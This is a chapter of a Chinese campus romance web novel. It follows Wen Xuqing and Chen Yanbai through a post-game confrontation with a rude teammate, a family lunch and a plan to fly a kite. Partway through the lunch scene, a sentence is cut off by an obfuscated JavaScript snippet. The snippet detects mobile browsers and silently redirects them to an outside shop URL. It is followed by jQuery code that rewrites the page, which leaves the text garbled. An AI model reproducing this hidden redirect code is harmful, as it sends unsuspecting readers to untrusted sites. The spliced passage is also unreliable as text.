比赛后是常规的赛后复盘。
一个男生道:“莫清和不在,需要转告他一声吗?”
陈言白脱下护腕捏在手里,随口问了一句:“他又走了?”
莫清和一向特立独行,赛后复盘跑路的次数比参加的次数还要多,大家已经见怪不怪。
“当然不是。”
周鹤朝不远处抬了抬下巴,语气不咸不淡,“喏,在那呢,一堆妹子围着送水的那个。”
周鹤和莫清和平时便有些不对付,陈言白漫不经心地朝场边扫了一眼,视线突然凝住了。
他…
好像看到温叙青了。
不是好像。
男生因为赢得比赛而微微上扬的嘴角一下子落了下来,一旁的周鹤看得分明,下意思止住了话语。
温叙青干什么都是她的自由,陈言白无意识地捏了捏尾指,轻微的疼痛让陈言白的眉尾微敛。
才怪,男生仅仅犹豫了一瞬,便打定了主意,抬脚朝温叙青的方向走去。
他要去问清楚。
“诶,陈言白干嘛去了?”
石鸿宇刚刚去志愿者那拿了一瓶水回来,见陈言白头也不回地往操场另一边走去,一脸茫然地开口,“不是说赛后复盘吗?”
*
与学校里面大多数男生不同,莫清和留着扎眼的寸头,一双标志性的桃花眼亮得惊人,也难得地有人,在额头上绑红色发带不显得土气,反而张扬又野性。
只是对方一说起话来,吊儿郎当的劲儿便显露了出来,让人莫名地觉得有些不适。
温叙青下意识地护在柯彤前面,挡住了其他人不怀好意的打量视线。
“所以呢?”
莫清和的头始终扬着,视线越过温叙青大大咧咧地落在庄寒悦身上,“学姐是在责怪我吗?”
温叙青被对方无所谓且倒打一耙的态度惊到了,一时间愣在原地,忘了反应。
突然一个熟悉的声音插了起来,打破了场上尴尬的氛围。
“学弟。”
陈言白深深地看了温叙青一眼,转而看向莫清和,语气温和得体,“赛后复盘还是要听的。”
陈言白说完这句话便停了下来,直直地莫清和对上了视线。
与莫清和一脸不耐不同,陈言白的目光始终平静,似乎只是过来告诉他一声,听不听由他。
但莫清和还是敏锐地感知到了压迫感,他的眼神探究地从温叙青几人的身上掠过。
见状陈言白的神色彻底冷了下来,一向温和的笑意散了个干净。
最终还是莫清和率先移开视线,男生的眼里闪过一丝不屑,表面上却装得恭敬:“知道了。”
“感谢提醒。”
气氛似乎因为陈言白的加入而变得更加奇怪,没等温叙青想明白原因,一旁的柯彤情绪压抑到了极致,终于爆发了出来。
柯彤用衣袖胡乱擦了擦眼泪,转身跑掉了,庄寒悦看也没看莫清和直接追了上去。
场面顿时乱成一锅粥,而始作俑者却丝毫没有愧疚之意,莫清和的脸上写满了无辜,甚至还有心情对着旁边的人摊手,仿佛一切都是柯彤在无理取闹。
很快,莫清和便被其他人簇拥着走了,场边的人一时间散了个干净。
温叙青记挂着柯彤,匆匆和陈言白道了一声再见便要走。
刚走了几步,陈言白在身后喊了她一声。
“温叙青。”
温叙青停下脚步,下意识攥紧衣角,没有回头。
她该说些什么。
比赛我看完了,你们很厉害。
陈言白的耳朵都要听出茧子了吧。
温叙青大脑里不可避免地想起在看台上听到的那些话,陈言白也会收到很多水和夸奖吧,就像莫清和那样。
还有联系方式,陈言白肯定也加了很多。
他人很好,应该也不会拒绝别人,惹人难堪。
温叙青越想越难过,这句简单的夸奖就这样,堵在喉咙间不上不下。
身后的人没了声音,温叙青在心里暗数了五个数,有些失落地抿了抿唇,加快了离开的脚步。
在陈言白的视角,就像在落荒而逃。
——
两人很默契地开始了冷战模式。
又或许只是温叙青单方面的躲避。
温叙青也说不清楚自己这么做是出于什么,但每次远远瞧见陈言白,身体总会比大脑先做出反应躲避。
就连一向大大咧咧的庄寒悦也意识到不对,有些纳闷地问道,你和柯彤最近怎么都这样,奇奇怪怪的。
就这样过了整整一周。
周六时,温叙青难得起了一个大早。
温父今天有工作,许慈也出门了,家里空空荡荡的,只有墙上挂表在勤勤恳恳地工作,每过一个小时便有一只小鸟弹出来,叽叽咕咕唱上两句便缩了回去。
这是温父温母出国游玩带回来的纪念品,几年过去了,里面的机关小鸟依旧精神抖擞。
温叙青从冰箱的最下层里扒拉出仅剩的两片吐司,和牛奶一起丢进了微波炉。
“叮——”
微波炉的倒计时归零。
等到杯子的外壁变温,温叙青才把它从微波炉里端出来。
餐厅的桌子上摆着温父昨晚忘记收起的杂志,还有温母新买来还没来得及拆的快递盒,温叙青脚步不停,端着早餐来到了客厅。
温叙青一边咀嚼吐司,一边拿起茶几上的遥控器对着电视按了一下。
电视启动后自动跳转到天气预报,播报员用欣喜的语气道,今天是一个好天气,配图是一个扎着羊角辫的小女孩拿着风筝在奔跑。
风筝很快便飞上了湛蓝的天空,小女孩仰着头认真地看着,脸上洋溢着纯粹地笑意,连带着电视机前的温叙青嘴角也上扬了一个小小的弧度。
温叙青盯着屏幕看了很久,直到牛奶变温了,才慢吞吞地关掉了电视。
直到上午十一点,许慈才从外面回来。
温叙青正盘腿坐在客厅的地毯上拼装微观小屋,听到门外的动静便像小鸟一样扑了上去,顺手接过许慈手中的塑料袋,软声道:“妈妈你怎么才回来!”
直到站在门外的男生轻轻咳了一声,温叙青这才看见跟在许慈后面的陈言白。
温叙青眼睛都瞪大了:“你怎么来了…”
许慈嗔怪地看了她一眼,赶在陈言白开口前解释道。
“我们在超市门口遇见的,东西实在是太多,言白帮我提了一路。”
“哪跟你一样,一到周六周日就赖床。”
“我哪有…”
温叙青不自在地瞄了陈言白一眼,却捕捉到男生脸上一闪而过的笑意。
嘲笑,绝对是。
温叙青感觉自己受到了一万点暴击,连带着见到陈言白有些雀跃的心情“咯嘣”一下死掉了。
“啊对,你没有。”
许慈敷衍地应了一声,从鞋架上拿出拖鞋换上,“你和言白先吃点零食,等我做好饭叫你们。”
许慈一走,门口就剩下了陈言白和温叙青两个人面面相觑。
“有鞋套吗?”陈言白率先开口。
“啊,有。”
陈言白蹲下来戴鞋套,温叙青盯着陈言白柔软的发旋看了几秒,然后移开。
饭桌上,许慈很热情地给陈言白夹菜。
“言白,尝尝阿姨做的红烧肉!”
许慈出门前便把红烧肉焖到了砂锅里,此时刚刚出锅,每一块肉上都裹满了浓稠发亮的酱汁,很是诱人。
温叙青默默地跟着夹了一块红烧肉。
“茄子也换了一种炒法。”
平时许慈喜欢做红烧茄子,今天念着有红烧肉,干脆换了一种炒法,炸好的茄子刷上了甜醋汁,外脆里软,倒是很不错。
温叙青又默默地夹了一筷茄子。
“小青菜也很健康。”
温叙青也跟着夹了一根小青菜。
许慈有些奇怪地看了温叙青一眼,试探性地开口:“叙青平时就特别不喜欢吃青菜。”
温叙青闻言立马把刚刚夹起的青菜塞进了嘴里,使劲嚼了两下,又低头扒拉了一口米。
望着温叙青刻意埋低的脑袋,陈言白轻轻弯了弯唇,故意道:“谢谢阿姨。”
“感觉您炒的青菜尤其、格外好吃。”
“是吧。”
许慈被陈言白夸得心情舒畅,“那我还挺有做饭天赋的!”
许慈也不知道想到了什么,突然转变了话题,“言白你平时周末在家都做些什么?”
周末,在家,做什么。
捕捉到关键词的温叙青突然爆发出一阵剧烈的咳嗽,餐桌上的两个人视线一时间都落在了她身上。
“我没事!”温叙青借着说话的功夫,欲盖弥彰地瞟了陈言白一眼。
接收到温叙青视线的陈言白想要忍住笑,微弯的眉眼却出卖了他。
“大部分情况下会待在家里写作业,有时候也会和朋友出去转转。”
“比如去商场抓娃娃,偶尔也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17909297|212616||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
会去附近的公园散步。”
都是温叙青和他一起玩过的。
温叙青故作镇定地端起果汁喝了一口,玻璃杯放回去时与桌子接触发出巨大的声响,昭示着她内心的不平静。
“你们作业都这么多的吗?”
许慈端起果汁盒给两个孩子杯子重新添满,随口接了一句,“叙青也每周日都去找同学一起写作业。”
“是吗?”陈言白目光不躲不闪,大大方方地与温叙青对视,“那还挺好学的。”
温叙青:“……”
去他的好学。
“叙青经常在家里夸你,说你的成绩很好,总是考第一名…”
老底被揭了个遍,温叙青忍不住小声喊了许慈一声:“妈!”
“好了好了,吃饭不提学习行了吧。”
许慈小声嘀咕,“也没说什么啊。”
温叙青无所适从地低着头戳着碗里的青菜,有些不开心地想。
为什么陈言白就可以这么淡定!
“叙青平时放假除了找同学一起写作业外,总是闷在家里,也不怎么出去。”
“你们同龄人有共同话题,可以多在一起玩玩。”
温叙青怔了怔,眼眶一时间有些酸涩,只好低着头盯着碗看。
“那我以后多来敲门,喊温叙青出去晒太阳,您可不要嫌我烦。”
温叙青愣愣地抬起头,视线不偏不倚,正好撞进了陈言白的眼睛里。
这样说可以吗?
温叙青辨认出陈言白的口型。
少年有些不自在地抬起手拨了拨滑落到眼尾的头发,温叙青这才后知后觉地发现,其实陈言白也是紧张的。
心中郁结的情绪一时间散了干净。
随便你。
温叙青也回了一个口型,有些刻意地避开了陈言白骤然亮起的眼眸。
许慈很高兴。
“当然不会,欢迎你随时来找温叙青玩,阿姨给你们做好吃的。”
——
吃罢饭,温叙青便被许慈以要多出去转转,待家里迟早会长蘑菇为由赶出了家门。
身后的门“咔哒”一声关上了,带起来的微风轻轻擦过温叙青的衣角,衣角轻扬又很快落了下去。
温叙青“恶狠狠”地转头看向靠在墙面上幸灾乐祸的陈言白,没好气道:“去哪?”
陈言白笑够了,才吊儿郎当地直起身子:“都行,看你。”
温叙青真的皱着眉毛想了半天。
“那去放风筝怎么样。”
怕被陈言白拒绝,温叙青又补充了一句。
“天气预报说今天是一个好天气,很适合放风筝。”
“不想去的话,只是去公园晒太阳也可以,感觉晒太阳也很不错,可以补充维生素D…”
温叙青的语速很快,陈言白不得不出言打断了她的话,郑重其事道,“我没有说我不想去,我只是在想什么地方比较空旷,适合放风筝。”
男生的语气听起来很委屈,“温叙青你怎么总是误解我。”
温叙青心脏跳了跳,下意识反驳:“也没有吧。”
“那你上周为什么躲着我?”
陈言白直截了当地问道。
“没有。”
温叙青不肯承认。
陈言白翻旧账道:“上周三在学校…”
“我没有看到你!”
“那昨晚快放学的时候…”
“老师找我去办公室搬作业本,周末写作文要用!”
陈言白顿了顿,语气有些无奈:“我还没说完…”
温叙青:“。”
反正不是故意的就是了,温叙青在心里碎碎念念,怎么有人非要打破砂锅问到底,说到底还是…
还是什么?
温叙青顿住了,试探性地抬起眼。
陈言白的手突然出现在眼前,然后放大,还没等温叙青反应过来,那只手便越过她,在选层面板上按了一个一楼。
轻淡的洗衣粉的香气转瞬即逝。
“发什么呆?”
陈言白朝她挑了挑眉。
电梯缓慢下行的瞬间,心脏也跟着大起大落。
温叙青眨了眨眼,慢吞吞地把心里的话补充完了。
还是她想多了。
温叙青:“在思考人生。”
“思考出什么了吗?”陈言白有些好奇。
“嗯。”温叙青郑重其事、又一本正经道,“不吃青菜的人生是不完美的。”
陈言白:“……”